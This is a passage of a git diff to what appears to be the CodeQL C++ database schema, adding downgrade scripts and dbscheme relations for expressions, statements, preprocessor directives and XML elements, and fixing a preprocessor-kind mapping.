+| 296 = @isnothrowdestructibleexpr
+| 297 = @istriviallydestructibleexpr
+| 298 = @istriviallyassignableexpr
+| 299 = @isnothrowassignableexpr
+| 300 = @istrivialexpr
+| 301 = @isstandardlayoutexpr
+| 302 = @istriviallycopyableexpr
+| 303 = @isliteraltypeexpr
+| 304 = @hastrivialmoveconstructorexpr
+| 305 = @hastrivialmoveassignexpr
+| 306 = @hasnothrowmoveassignexpr
+| 307 = @isconstructibleexpr
+| 308 = @isnothrowconstructibleexpr
+| 309 = @hasfinalizerexpr
+| 310 = @isdelegateexpr
+| 311 = @isinterfaceclassexpr
+| 312 = @isrefarrayexpr
+| 313 = @isrefclassexpr
+| 314 = @issealedexpr
+| 315 = @issimplevalueclassexpr
+| 316 = @isvalueclassexpr
+| 317 = @isfinalexpr
+| 319 = @noexceptexpr
+| 320 = @builtinshufflevector
+| 321 = @builtinchooseexpr
+| 322 = @builtinaddressof
+| 323 = @vec_fill
+| 324 = @builtinconvertvector
+| 325 = @builtincomplex
+| 326 = @spaceshipexpr
+| 327 = @co_await
+| 328 = @co_yield
+| 329 = @temp_init
+| 330 = @isassignable
+| 331 = @isaggregate
+| 332 = @hasuniqueobjectrepresentations
+| 333 = @builtinbitcast
+| 334 = @builtinshuffle
+| 335 = @blockassignexpr
+| 336 = @issame
+| 337 = @isfunction
+| 338 = @islayoutcompatible
+| 339 = @ispointerinterconvertiblebaseof
+| 340 = @isarray
+| 341 = @arrayrank
+| 342 = @arrayextent
+| 343 = @isarithmetic
+| 344 = @iscompletetype
+| 345 = @iscompound
+| 346 = @isconst
+| 347 = @isfloatingpoint
+| 348 = @isfundamental
+| 349 = @isintegral
+| 350 = @islvaluereference
+| 351 = @ismemberfunctionpointer
+| 352 = @ismemberobjectpointer
+| 353 = @ismemberpointer
+| 354 = @isobject
+| 355 = @ispointer
+| 356 = @isreference
+| 357 = @isrvaluereference
+| 358 = @isscalar
+| 359 = @issigned
+| 360 = @isunsigned
+| 361 = @isvoid
+| 362 = @isvolatile
+| 363 = @reuseexpr
+| 364 = @istriviallycopyassignable
+| 365 = @isassignablenopreconditioncheck
+| 366 = @referencebindstotemporary
+| 367 = @issameas
+| 368 = @builtinhasattribute
+| 369 = @ispointerinterconvertiblewithclass
+| 370 = @builtinispointerinterconvertiblewithclass
+| 371 = @iscorrespondingmember
+| 372 = @builtiniscorrespondingmember
+| 373 = @isboundedarray
+| 374 = @isunboundedarray
+| 375 = @isreferenceable
+| 378 = @isnothrowconvertible
+| 379 = @referenceconstructsfromtemporary
+| 380 = @referenceconvertsfromtemporary
+| 381 = @isconvertible
+| 382 = @isvalidwinrttype
+| 383 = @iswinclass
+| 384 = @iswininterface
+| 385 = @istriviallyequalitycomparable
+| 386 = @isscopedenum
+| 387 = @istriviallyrelocatable
+| 388 = @datasizeof
+| 389 = @c11_generic
+| 390 = @requires_expr
+| 391 = @nested_requirement
+| 392 = @compound_requirement
+| 393 = @concept_id
+;
+
+@var_args_expr = @vastartexpr
+ | @vaendexpr
+ | @vaargexpr
+ | @vacopyexpr
+ ;
+
+@builtin_op = @var_args_expr
+ | @noopexpr
+ | @offsetofexpr
+ | @intaddrexpr
+ | @hasassignexpr
+ | @hascopyexpr
+ | @hasnothrowassign
+ | @hasnothrowconstr
+ | @hasnothrowcopy
+ | @hastrivialassign
+ | @hastrivialconstr
+ | @hastrivialcopy
+ | @hastrivialdestructor
+ | @hasuserdestr
+ | @hasvirtualdestr
+ | @isabstractexpr
+ | @isbaseofexpr
+ | @isclassexpr
+ | @isconvtoexpr
+ | @isemptyexpr
+ | @isenumexpr
+ | @ispodexpr
+ | @ispolyexpr
+ | @isunionexpr
+ | @typescompexpr
+ | @builtinshufflevector
+ | @builtinconvertvector
+ | @builtinaddressof
+ | @istriviallyconstructibleexpr
+ | @isdestructibleexpr
+ | @isnothrowdestructibleexpr
+ | @istriviallydestructibleexpr
+ | @istriviallyassignableexpr
+ | @isnothrowassignableexpr
+ | @istrivialexpr
+ | @isstandardlayoutexpr
+ | @istriviallycopyableexpr
+ | @isliteraltypeexpr
+ | @hastrivialmoveconstructorexpr
+ | @hastrivialmoveassignexpr
+ | @hasnothrowmoveassignexpr
+ | @isconstructibleexpr
+ | @isnothrowconstructibleexpr
+ | @hasfinalizerexpr
+ | @isdelegateexpr
+ | @isinterfaceclassexpr
+ | @isrefarrayexpr
+ | @isrefclassexpr
+ | @issealedexpr
+ | @issimplevalueclassexpr
+ | @isvalueclassexpr
+ | @isfinalexpr
+ | @builtinchooseexpr
+ | @builtincomplex
+ | @isassignable
+ | @isaggregate
+ | @hasuniqueobjectrepresentations
+ | @builtinbitcast
+ | @builtinshuffle
+ | @issame
+ | @isfunction
+ | @islayoutcompatible
+ | @ispointerinterconvertiblebaseof
+ | @isarray
+ | @arrayrank
+ | @arrayextent
+ | @isarithmetic
+ | @iscompletetype
+ | @iscompound
+ | @isconst
+ | @isfloatingpoint
+ | @isfundamental
+ | @isintegral
+ | @islvaluereference
+ | @ismemberfunctionpointer
+ | @ismemberobjectpointer
+ | @ismemberpointer
+ | @isobject
+ | @ispointer
+ | @isreference
+ | @isrvaluereference
+ | @isscalar
+ | @issigned
+ | @isunsigned
+ | @isvoid
+ | @isvolatile
+ | @istriviallycopyassignable
+ | @isassignablenopreconditioncheck
+ | @referencebindstotemporary
+ | @issameas
+ | @builtinhasattribute
+ | @ispointerinterconvertiblewithclass
+ | @builtinispointerinterconvertiblewithclass
+ | @iscorrespondingmember
+ | @builtiniscorrespondingmember
+ | @isboundedarray
+ | @isunboundedarray
+ | @isreferenceable
+ | @isnothrowconvertible
+ | @referenceconstructsfromtemporary
+ | @referenceconvertsfromtemporary
+ | @isconvertible
+ | @isvalidwinrttype
+ | @iswinclass
+ | @iswininterface
+ | @istriviallyequalitycomparable
+ | @isscopedenum
+ | @istriviallyrelocatable
+ ;
+
+compound_requirement_is_noexcept(
+ int expr: @compound_requirement ref
+);
+
+new_allocated_type(
+ unique int expr: @new_expr ref,
+ int type_id: @type ref
+);
+
+new_array_allocated_type(
+ unique int expr: @new_array_expr ref,
+ int type_id: @type ref
+);
+
+/**
+ * The field being initialized by an initializer expression within an aggregate
+ * initializer for a class/struct/union. Position is used to sort repeated initializers.
+ */
+#keyset[aggregate, position]
+aggregate_field_init(
+ int aggregate: @aggregateliteral ref,
+ int initializer: @expr ref,
+ int field: @membervariable ref,
+ int position: int ref,
+ boolean is_designated: boolean ref
+);
+
+/**
+ * The index of the element being initialized by an initializer expression
+ * within an aggregate initializer for an array. Position is used to sort repeated initializers.
+ */
+#keyset[aggregate, position]
+aggregate_array_init(
+ int aggregate: @aggregateliteral ref,
+ int initializer: @expr ref,
+ int element_index: int ref,
+ int position: int ref,
+ boolean is_designated: boolean ref
+);
+
+@ctorinit = @ctordirectinit
+ | @ctorvirtualinit
+ | @ctorfieldinit
+ | @ctordelegatinginit;
+@dtordestruct = @dtordirectdestruct
+ | @dtorvirtualdestruct
+ | @dtorfielddestruct;
+
+
+condition_decl_bind(
+ unique int expr: @condition_decl ref,
+ unique int decl: @declaration ref
+);
+
+typeid_bind(
+ unique int expr: @type_id ref,
+ int type_id: @type ref
+);
+
+uuidof_bind(
+ unique int expr: @uuidof ref,
+ int type_id: @type ref
+);
+
+@sizeof_or_alignof = @runtime_sizeof | @runtime_alignof | @datasizeof | @sizeof_pack;
+
+sizeof_bind(
+ unique int expr: @sizeof_or_alignof ref,
+ int type_id: @type ref
+);
+
+code_block(
+ unique int block: @literal ref,
+ unique int routine: @function ref
+);
+
+lambdas(
+ unique int expr: @lambdaexpr ref,
+ string default_capture: string ref,
+ boolean has_explicit_return_type: boolean ref
+);
+
+lambda_capture(
+ unique int id: @lambdacapture,
+ int lambda: @lambdaexpr ref,
+ int index: int ref,
+ int field: @membervariable ref,
+ boolean captured_by_reference: boolean ref,
+ boolean is_implicit: boolean ref,
+ int location: @location_default ref
+);
+
+@funbindexpr = @routineexpr
+ | @new_expr
+ | @delete_expr
+ | @delete_array_expr
+ | @ctordirectinit
+ | @ctorvirtualinit
+ | @ctordelegatinginit
+ | @dtordirectdestruct
+ | @dtorvirtualdestruct;
+
+@varbindexpr = @varaccess | @ctorfieldinit | @dtorfielddestruct;
+@addressable = @function | @variable ;
+@accessible = @addressable | @enumconstant ;
+
+@access = @varaccess | @routineexpr ;
+
+fold(
+ int expr: @foldexpr ref,
+ string operator: string ref,
+ boolean is_left_fold: boolean ref
+);
+
+stmts(
+ unique int id: @stmt,
+ int kind: int ref,
+ int location: @location_stmt ref
+);
+
+case @stmt.kind of
+ 1 = @stmt_expr
+| 2 = @stmt_if
+| 3 = @stmt_while
+| 4 = @stmt_goto
+| 5 = @stmt_label
+| 6 = @stmt_return
+| 7 = @stmt_block
+| 8 = @stmt_end_test_while // do { ... } while ( ... )
+| 9 = @stmt_for
+| 10 = @stmt_switch_case
+| 11 = @stmt_switch
+| 13 = @stmt_asm // "asm" statement or the body of an asm function
+| 15 = @stmt_try_block
+| 16 = @stmt_microsoft_try // Microsoft
+| 17 = @stmt_decl
+| 18 = @stmt_set_vla_size // C99
+| 19 = @stmt_vla_decl // C99
+| 25 = @stmt_assigned_goto // GNU
+| 26 = @stmt_empty
+| 27 = @stmt_continue
+| 28 = @stmt_break
+| 29 = @stmt_range_based_for // C++11
+// ... 30 @stmt_at_autoreleasepool_block deprecated
+// ... 31 @stmt_objc_for_in deprecated
+// ... 32 @stmt_at_synchronized deprecated
+| 33 = @stmt_handler
+// ... 34 @stmt_finally_end deprecated
+| 35 = @stmt_constexpr_if
+| 37 = @stmt_co_return
+| 38 = @stmt_consteval_if
+| 39 = @stmt_not_consteval_if
+;
+
+type_vla(
+ int type_id: @type ref,
+ int decl: @stmt_vla_decl ref
+);
+
+variable_vla(
+ int var: @variable ref,
+ int decl: @stmt_vla_decl ref
+);
+
+type_is_vla(unique int type_id: @derivedtype ref)
+
+if_initialization(
+ unique int if_stmt: @stmt_if ref,
+ int init_id: @stmt ref
+);
+
+if_then(
+ unique int if_stmt: @stmt_if ref,
+ int then_id: @stmt ref
+);
+
+if_else(
+ unique int if_stmt: @stmt_if ref,
+ int else_id: @stmt ref
+);
+
+constexpr_if_initialization(
+ unique int constexpr_if_stmt: @stmt_constexpr_if ref,
+ int init_id: @stmt ref
+);
+
+constexpr_if_then(
+ unique int constexpr_if_stmt: @stmt_constexpr_if ref,
+ int then_id: @stmt ref
+);
+
+constexpr_if_else(
+ unique int constexpr_if_stmt: @stmt_constexpr_if ref,
+ int else_id: @stmt ref
+);
+
+@stmt_consteval_or_not_consteval_if = @stmt_consteval_if | @stmt_not_consteval_if;
+
+consteval_if_then(
+ unique int constexpr_if_stmt: @stmt_consteval_or_not_consteval_if ref,
+ int then_id: @stmt ref
+);
+
+consteval_if_else(
+ unique int constexpr_if_stmt: @stmt_consteval_or_not_consteval_if ref,
+ int else_id: @stmt ref
+);
+
+while_body(
+ unique int while_stmt: @stmt_while ref,
+ int body_id: @stmt ref
+);
+
+do_body(
+ unique int do_stmt: @stmt_end_test_while ref,
+ int body_id: @stmt ref
+);
+
+switch_initialization(
+ unique int switch_stmt: @stmt_switch ref,
+ int init_id: @stmt ref
+);
+
+#keyset[switch_stmt, index]
+switch_case(
+ int switch_stmt: @stmt_switch ref,
+ int index: int ref,
+ int case_id: @stmt_switch_case ref
+);
+
+switch_body(
+ unique int switch_stmt: @stmt_switch ref,
+ int body_id: @stmt ref
+);
+
+@stmt_for_or_range_based_for = @stmt_for
+ | @stmt_range_based_for;
+
+for_initialization(
+ unique int for_stmt: @stmt_for_or_range_based_for ref,
+ int init_id: @stmt ref
+);
+
+for_condition(
+ unique int for_stmt: @stmt_for ref,
+ int condition_id: @expr ref
+);
+
+for_update(
+ unique int for_stmt: @stmt_for ref,
+ int update_id: @expr ref
+);
+
+for_body(
+ unique int for_stmt: @stmt_for ref,
+ int body_id: @stmt ref
+);
+
+@stmtparent = @stmt | @expr_stmt ;
+stmtparents(
+ unique int id: @stmt ref,
+ int index: int ref,
+ int parent: @stmtparent ref
+);
+
+ishandler(unique int block: @stmt_block ref);
+
+@cfgnode = @stmt | @expr | @function | @initialiser ;
+
+stmt_decl_bind(
+ int stmt: @stmt_decl ref,
+ int num: int ref,
+ int decl: @declaration ref
+);
+
+stmt_decl_entry_bind(
+ int stmt: @stmt_decl ref,
+ int num: int ref,
+ int decl_entry: @element ref
+);
+
+@parameterized_element = @function | @stmt_block | @requires_expr;
+
+blockscope(
+ unique int block: @stmt_block ref,
+ int enclosing: @parameterized_element ref
+);
+
+@jump = @stmt_goto | @stmt_break | @stmt_continue;
+
+@jumporlabel = @jump | @stmt_label | @literal;
+
+jumpinfo(
+ unique int id: @jumporlabel ref,
+ string str: string ref,
+ int target: @stmt ref
+);
+
+preprocdirects(
+ unique int id: @preprocdirect,
+ int kind: int ref,
+ int location: @location_default ref
+);
+case @preprocdirect.kind of
+ 0 = @ppd_if
+| 1 = @ppd_ifdef
+| 2 = @ppd_ifndef
+| 3 = @ppd_elif
+| 4 = @ppd_else
+| 5 = @ppd_endif
+| 6 = @ppd_plain_include
+| 7 = @ppd_define
+| 8 = @ppd_undef
+| 9 = @ppd_line
+| 10 = @ppd_error
+| 11 = @ppd_pragma
+| 12 = @ppd_objc_import
+| 13 = @ppd_include_next
+| 14 = @ppd_ms_import
+| 15 = @ppd_elifdef
+| 16 = @ppd_elifndef
+| 18 = @ppd_warning
+;
+
+@ppd_include = @ppd_plain_include | @ppd_objc_import | @ppd_include_next | @ppd_ms_import;
+
+@ppd_branch = @ppd_if | @ppd_ifdef | @ppd_ifndef | @ppd_elif | @ppd_elifdef | @ppd_elifndef;
+
+preprocpair(
+ int begin : @ppd_branch ref,
+ int elseelifend : @preprocdirect ref
+);
+
+preproctrue(int branch : @ppd_branch ref);
+preprocfalse(int branch : @ppd_branch ref);
+
+preproctext(
+ unique int id: @preprocdirect ref,
+ string head: string ref,
+ string body: string ref
+);
+
+includes(
+ unique int id: @ppd_include ref,
+ int included: @file ref
+);
+
+link_targets(
+ int id: @link_target,
+ int binary: @file ref
+);
+
+link_parent(
+ int element : @element ref,
+ int link_target : @link_target ref
+);
+
+/* XML Files */
+
+xmlEncoding(unique int id: @file ref, string encoding: string ref);
+
+xmlDTDs(
+ unique int id: @xmldtd,
+ string root: string ref,
+ string publicId: string ref,
+ string systemId: string ref,
+ int fileid: @file ref
+);
+
+xmlElements(
+ unique int id: @xmlelement,
+ string name: string ref,
+ int parentid: @xmlparent ref,
+ int idx: int ref,
+ int fileid: @file ref
+);
+
+xmlAttrs(
+ unique int id: @xmlattribute,
+ int elementid: @xmlelement ref,
+ string name: string ref,
+ string value: string ref,
+ int idx: int ref,
+ int fileid: @file ref
+);
+
+xmlNs(
+ int id: @xmlnamespace,
+ string prefixName: string ref,
+ string URI: string ref,
+ int fileid: @file ref
+);
+
+xmlHasNs(
+ int elementId: @xmlnamespaceable ref,
+ int nsId: @xmlnamespace ref,
+ int fileid: @file ref
+);
+
+xmlComments(
+ unique int id: @xmlcomment,
+ string text: string ref,
+ int parentid: @xmlparent ref,
+ int fileid: @file ref
+);
+
+xmlChars(
+ unique int id: @xmlcharacters,
+ string text: string ref,
+ int parentid: @xmlparent ref,
+ int idx: int ref,
+ int isCDATA: int ref,
+ int fileid: @file ref
+);
+
+@xmlparent = @file | @xmlelement;
+@xmlnamespaceable = @xmlelement | @xmlattribute;
+
+xmllocations(
+ int xmlElement: @xmllocatable ref,
+ int location: @location_default ref
+);
+
+@xmllocatable = @xmlcharacters
+ | @xmlelement
+ | @xmlcomment
+ | @xmlattribute
+ | @xmldtd
+ | @file
+ | @xmlnamespace;
diff --git a/cpp/downgrades/3c45f8b9e71ec723bf50c40581e1f18f4f25e290/upgrade.properties b/cpp/downgrades/3c45f8b9e71ec723bf50c40581e1f18f4f25e290/upgrade.properties
new file mode 100644
index 00000000000..9299dcb085a
--- /dev/null
+++ b/cpp/downgrades/3c45f8b9e71ec723bf50c40581e1f18f4f25e290/upgrade.properties
@@ -0,0 +1,3 @@
+description: capture whether a lambda has an explicitly specified parameter list.
+compatibility: full
+lambdas.rel: run lambdas.qlo
diff --git a/cpp/downgrades/59cb96ca699929b63941e81905f9b8de7eed59a6/preprocdirects.ql b/cpp/downgrades/59cb96ca699929b63941e81905f9b8de7eed59a6/preprocdirects.ql
index 015d02d3ec7..8e111e9e791 100644
--- a/cpp/downgrades/59cb96ca699929b63941e81905f9b8de7eed59a6/preprocdirects.ql
+++ b/cpp/downgrades/59cb96ca699929b63941e81905f9b8de7eed59a6/preprocdirects.ql
@@ -11,7 +11,7 @@ int getKind(int kind) {
if kind = 14
then result = 6 // Represent MSFT #import as #include
else
- if kind = 15 or kind = 6
+ if kind = 15 or kind = 16
then result = 3 // Represent #elifdef and #elifndef as #elif
else result = kind
}
diff --git a/cpp/downgrades/af887e83a815a9cefe774ffa80e2493a1365b9e2/builtintypes.ql b/cpp/downgrades/af887e83a815a9cefe774ffa80e2493a1365b9e2/builtintypes.ql
new file mode 100644
index 00000000000..73b715fd71f
--- /dev/null
+++ b/cpp/downgrades/af887e83a815a9cefe774ffa80e2493a1365b9e2/builtintypes.ql
@@ -0,0 +1,9 @@
+class BuiltinType extends @builtintype {
+ string toString() { none() }
+}
+
+from BuiltinType id, string name, int kind, int new_kind, int size, int sign, int alignment
+where
+ builtintypes(id, name, kind, size, sign, alignment) and
+ if kind = 62 then new_kind = 1 else new_kind = kind
+select id, name, new_kind, size, sign, alignment
diff --git a/cpp/downgrades/af887e83a815a9cefe774ffa80e2493a1365b9e2/old.dbscheme b/cpp/downgrades/af887e83a815a9cefe774ffa80e2493a1365b9e2/old.dbscheme
new file mode 100644
index 00000000000..af887e83a81
--- /dev/null
+++ b/cpp/downgrades/af887e83a815a9cefe774ffa80e2493a1365b9e2/old.dbscheme
@@ -0,0 +1,2492 @@
+
+/**
+ * An invocation of the compiler. Note that more than one file may be
+ * compiled per invocation. For example, this command compiles three
+ * source files:
+ *
+ * gcc -c f1.c f2.c f3.c
+ *
+ * The `id` simply identifies the invocation, while `cwd` is the working
+ * directory from which the compiler was invoked.
+ */
+compilations(
+ /**
+ * An invocation of the compiler. Note that more than one file may
+ * be compiled per invocation. For example, this command compiles
+ * three source files:
+ *
+ * gcc -c f1.c f2.c f3.c
+ */
+ unique int id : @compilation,
+ string cwd : string ref
+);
+
+/**
+ * The arguments that were passed to the extractor for a compiler
+ * invocation. If `id` is for the compiler invocation
+ *
+ * gcc -c f1.c f2.c f3.c
+ *
+ * then typically there will be rows for
+ *
+ * num | arg
+ * --- | ---
+ * 0 | *path to extractor*
+ * 1 | `--mimic`
+ * 2 | `/usr/bin/gcc`
+ * 3 | `-c`
+ * 4 | f1.c
+ * 5 | f2.c
+ * 6 | f3.c
+ */
+#keyset[id, num]
+compilation_args(
+ int id : @compilation ref,
+ int num : int ref,
+ string arg : string ref
+);
+
+/**
+ * Optionally, record the build mode for each compilation.
+ */
+compilation_build_mode(
+ unique int id : @compilation ref,
+ int mode : int ref
+);
+
+/*
+case @compilation_build_mode.mode of
+ 0 = @build_mode_none
+| 1 = @build_mode_manual
+| 2 = @build_mode_auto
+;
+*/
+
+/**
+ * The source files that are compiled by a compiler invocation.
+ * If `id` is for the compiler invocation
+ *
+ * gcc -c f1.c f2.c f3.c
+ *
+ * then there will be rows for
+ *
+ * num | arg
+ * --- | ---
+ * 0 | f1.c
+ * 1 | f2.c
+ * 2 | f3.c
+ *
+ * Note that even if those files `#include` headers, those headers
+ * do not appear as rows.
+ */
+#keyset[id, num]
+compilation_compiling_files(
+ int id : @compilation ref,
+ int num : int ref,
+ int file : @file ref
+);
+
+/**
+ * The time taken by the extractor for a compiler invocation.
+ *
+ * For each file `num`, there will be rows for
+ *
+ * kind | seconds
+ * ---- | ---
+ * 1 | CPU seconds used by the extractor frontend
+ * 2 | Elapsed seconds during the extractor frontend
+ * 3 | CPU seconds used by the extractor backend
+ * 4 | Elapsed seconds during the extractor backend
+ */
+#keyset[id, num, kind]
+compilation_time(
+ int id : @compilation ref,
+ int num : int ref,
+ /* kind:
+ 1 = frontend_cpu_seconds
+ 2 = frontend_elapsed_seconds
+ 3 = extractor_cpu_seconds
+ 4 = extractor_elapsed_seconds
+ */
+ int kind : int ref,
+ float seconds : float ref
+);
+
+/**
+ * An error or warning generated by the extractor.
+ * The diagnostic message `diagnostic` was generated during compiler
+ * invocation `compilation`, and is the `file_number_diagnostic_number`th
+ * message generated while extracting the `file_number`th file of that
+ * invocation.
+ */
+#keyset[compilation, file_number, file_number_diagnostic_number]
+diagnostic_for(
+ int diagnostic : @diagnostic ref,
+ int compilation : @compilation ref,
+ int file_number : int ref,
+ int file_number_diagnostic_number : int ref
+);
+
+/**
+ * If extraction was successful, then `cpu_seconds` and
+ * `elapsed_seconds` are the CPU time and elapsed time (respectively)
+ * that extraction took for compiler invocation `id`.
+ */
+compilation_finished(
+ unique int id : @compilation ref,
+ float cpu_seconds : float ref,
+ float elapsed_seconds : float ref
+);
+
+
+/**
+ * External data, loaded from CSV files during snapshot creation. See
+ * [Tutorial: Incorporating external data](https://help.semmle.com/wiki/display/SD/Tutorial%3A+Incorporating+external+data)
+ * for more information.
+ */
+externalData(
+ int id : @externalDataElement,
+ string path : string ref,
+ int column: int ref,
+ string value : string ref
+);
+
+/**
+ * The source location of the snapshot.
+ */
+sourceLocationPrefix(string prefix : string ref);
+
+/**
+ * Information about packages that provide code used during compilation.
+ * The `id` is just a unique identifier.
+ * The `namespace` is typically the name of the package manager that
+ * provided the package (e.g. "dpkg" or "yum").
+ * The `package_name` is the name of the package, and `version` is its
+ * version (as a string).
+ */
+external_packages(
+ unique int id: @external_package,
+ string namespace : string ref,
+ string package_name : string ref,
+ string version : string ref
+);
+
+/**
+ * Holds if File `fileid` was provided by package `package`.
+ */
+header_to_external_package(
+ int fileid : @file ref,
+ int package : @external_package ref
+);
+
+/*
+ * Version history
+ */
+
+svnentries(
+ unique int id : @svnentry,
+ string revision : string ref,
+ string author : string ref,
+ date revisionDate : date ref,
+ int changeSize : int ref
+)
+
+svnaffectedfiles(
+ int id : @svnentry ref,
+ int file : @file ref,
+ string action : string ref
+)
+
+svnentrymsg(
+ unique int id : @svnentry ref,
+ string message : string ref
+)
+
+svnchurn(
+ int commit : @svnentry ref,
+ int file : @file ref,
+ int addedLines : int ref,
+ int deletedLines : int ref
+)
+
+/*
+ * C++ dbscheme
+ */
+
+extractor_version(
+ string codeql_version: string ref,
+ string frontend_version: string ref
+)
+
+@location = @location_stmt | @location_expr | @location_default ;
+
+/**
+ * The location of an element that is not an expression or a statement.
+ * The location spans column `startcolumn` of line `startline` to
+ * column `endcolumn` of line `endline` in file `file`.
+ * For more information, see
+ * [Locations](https://codeql.github.com/docs/writing-codeql-queries/providing-locations-in-codeql-queries/).
+ */
+locations_default(
+ /** The location of an element that is not an expression or a statement. */
+ unique int id: @location_default,
+ int container: @container ref,
+ int startLine: int ref,
+ int startColumn: int ref,
+ int endLine: int ref,
+ int endColumn: int ref
+);
+
+/**
+ * The location of a statement.
+ * The location spans column `startcolumn` of line `startline` to
+ * column `endcolumn` of line `endline` in file `file`.
+ * For more information, see
+ * [Locations](https://codeql.github.com/docs/writing-codeql-queries/providing-locations-in-codeql-queries/).
+ */
+locations_stmt(
+ /** The location of a statement. */
+ unique int id: @location_stmt,
+ int container: @container ref,
+ int startLine: int ref,
+ int startColumn: int ref,
+ int endLine: int ref,
+ int endColumn: int ref
+);
+
+/**
+ * The location of an expression.
+ * The location spans column `startcolumn` of line `startline` to
+ * column `endcolumn` of line `endline` in file `file`.
+ * For more information, see
+ * [Locations](https://codeql.github.com/docs/writing-codeql-queries/providing-locations-in-codeql-queries/).
+ */
+locations_expr(
+ /** The location of an expression. */
+ unique int id: @location_expr,
+ int container: @container ref,
+ int startLine: int ref,
+ int startColumn: int ref,
+ int endLine: int ref,
+ int endColumn: int ref
+);
+
+/** An element for which line-count information is available. */
+@sourceline = @file | @function | @variable | @enumconstant | @xmllocatable;
+
+numlines(
+ int element_id: @sourceline ref,
+ int num_lines: int ref,
+ int num_code: int ref,
+ int num_comment: int ref
+);
+
+diagnostics(
+ unique int id: @diagnostic,
+ int severity: int ref,
+ string error_tag: string ref,
+ string error_message: string ref,
+ string full_error_message: string ref,
+ int location: @location_default ref
+);
+
+files(
+ unique int id: @file,
+ string name: string ref
+);
+
+folders(
+ unique int id: @folder,
+ string name: string ref
+);
+
+@container = @folder | @file
+
+containerparent(
+ int parent: @container ref,
+ unique int child: @container ref
+);
+
+fileannotations(
+ int id: @file ref,
+ int kind: int ref,
+ string name: string ref,
+ string value: string ref
+);
+
+inmacroexpansion(
+ int id: @element ref,
+ int inv: @macroinvocation ref
+);
+
+affectedbymacroexpansion(
+ int id: @element ref,
+ int inv: @macroinvocation ref
+);
+
+case @macroinvocation.kind of
+ 1 = @macro_expansion
+| 2 = @other_macro_reference
+;
+
+macroinvocations(
+ unique int id: @macroinvocation,
+ int macro_id: @ppd_define ref,
+ int location: @location_default ref,
+ int kind: int ref
+);
+
+macroparent(
+ unique int id: @macroinvocation ref,
+ int parent_id: @macroinvocation ref
+);
+
+// a macroinvocation may be part of another location
+// the way to find a constant expression that uses a macro
+// is thus to find a constant expression that has a location
+// to which a macro invocation is bound
+macrolocationbind(
+ int id: @macroinvocation ref,
+ int location: @location ref
+);
+
+#keyset[invocation, argument_index]
+macro_argument_unexpanded(
+ int invocation: @macroinvocation ref,
+ int argument_index: int ref,
+ string text: string ref
+);
+
+#keyset[invocation, argument_index]
+macro_argument_expanded(
+ int invocation: @macroinvocation ref,
+ int argument_index: int ref,
+ string text: string ref
+);
+
+/*
+case @function.kind of
+ 1 = @normal_function
+| 2 = @constructor
+| 3 = @destructor
+| 4 = @conversion_function
+| 5 = @operator
+| 6 = @builtin_function // GCC built-in functions, e.g. __builtin___memcpy_chk
+| 7 = @user_defined_literal
+| 8 = @deduction_guide
+;
+*/
+
+functions(
+ unique int id: @function,
+ string name: string ref,
+ int kind: int ref
+);
+
+function_entry_point(
+ int id: @function ref,
+ unique int entry_point: @stmt ref
+);
+
+function_return_type(
+ int id: @function ref,
+ int return_type: @type ref
+);
+
+/**
+ * If `function` is a coroutine, then this gives the `std::experimental::resumable_traits`
+ * instance associated with it, and the variables representing the `handle` and `promise`
+ * for it.
+ */
+coroutine(
+ unique int function: @function ref,
+ int traits: @type ref
+);
+
+/*
+case @coroutine_placeholder_variable.kind of
+ 1 = @handle
+| 2 = @promise
+| 3 = @init_await_resume
+;
+*/
+
+coroutine_placeholder_variable(
+ unique int placeholder_variable: @variable ref,
+ int kind: int ref,
+ int function: @function ref
+)
+
+/** The `new` function used for allocating the coroutine state, if any. */
+coroutine_new(
+ unique int function: @function ref,
+ int new: @function ref
+);
+
+/** The `delete` function used for deallocating the coroutine state, if any. */
+coroutine_delete(
+ unique int function: @function ref,
+ int delete: @function ref
+);
+
+purefunctions(unique int id: @function ref);
+
+function_deleted(unique int id: @function ref);
+
+function_defaulted(unique int id: @function ref);
+
+function_prototyped(unique int id: @function ref)
+
+deduction_guide_for_class(
+ int id: @function ref,
+ int class_template: @usertype ref
+)
+
+member_function_this_type(
+ unique int id: @function ref,
+ int this_type: @type ref
+);
+
+#keyset[id, type_id]
+fun_decls(
+ int id: @fun_decl,
+ int function: @function ref,
+ int type_id: @type ref,
+ string name: string ref,
+ int location: @location_default ref
+);
+fun_def(unique int id: @fun_decl ref);
+fun_specialized(unique int id: @fun_decl ref);
+fun_implicit(unique int id: @fun_decl ref);
+fun_decl_specifiers(
+ int id: @fun_decl ref,
+ string name: string ref
+)
+#keyset[fun_decl, index]
+fun_decl_throws(
+ int fun_decl: @fun_decl ref,
+ int index: int ref,
+ int type_id: @type ref
+);
+/* an empty throw specification is different from none */
+fun_decl_empty_throws(unique int fun_decl: @fun_decl ref);
+fun_decl_noexcept(
+ int fun_decl: @fun_decl ref,
+ int constant: @expr ref
+);
+fun_decl_empty_noexcept(int fun_decl: @fun_decl ref);
+fun_decl_typedef_type(
+ unique int fun_decl: @fun_decl ref,
+ int typedeftype_id: @usertype ref
+);
+
+/*
+case @fun_requires.kind of
+ 1 = @template_attached
+| 2 = @function_attached
+;
+*/
+
+fun_requires(
+ int id: @fun_decl ref,
+ int kind: int ref,
+ int constraint: @expr ref
+);
+
+param_decl_bind(
+ unique int id: @var_decl ref,
+ int index: int ref,
+ int fun_decl: @fun_decl ref
+);
+
+#keyset[id, type_id]
+var_decls(
+ int id: @var_decl,
+ int variable: @variable ref,
+ int type_id: @type ref,
+ string name: string ref,
+ int location: @location_default ref
+);
+var_def(unique int id: @var_decl ref);
+var_specialized(int id: @var_decl ref);
+var_decl_specifiers(
+ int id: @var_decl ref,
+ string name: string ref
+)
+is_structured_binding(unique int id: @variable ref);
+var_requires(
+ int id: @var_decl ref,
+ int constraint: @expr ref
+);
+
+type_decls(
+ unique int id: @type_decl,
+ int type_id: @type ref,
+ int location: @location_default ref
+);
+type_def(unique int id: @type_decl ref);
+type_decl_top(
+ unique int type_decl: @type_decl ref
+);
+type_requires(
+ int id: @type_decl ref,
+ int constraint: @expr ref
+);
+
+namespace_decls(
+ unique int id: @namespace_decl,
+ int namespace_id: @namespace ref,
+ int location: @location_default ref,
+ int bodylocation: @location_default ref
+);
+
+case @using.kind of
+ 1 = @using_declaration
+| 2 = @using_directive
+| 3 = @using_enum_declaration
+;
+
+usings(
+ unique int id: @using,
+ int element_id: @element ref,
+ int location: @location_default ref,
+ int kind: int ref
+);
+
+/** The element which contains the `using` declaration. */
+using_container(
+ int parent: @element ref,
+ int child: @using ref
+);
+
+static_asserts(
+ unique int id: @static_assert,
+ int condition : @expr ref,
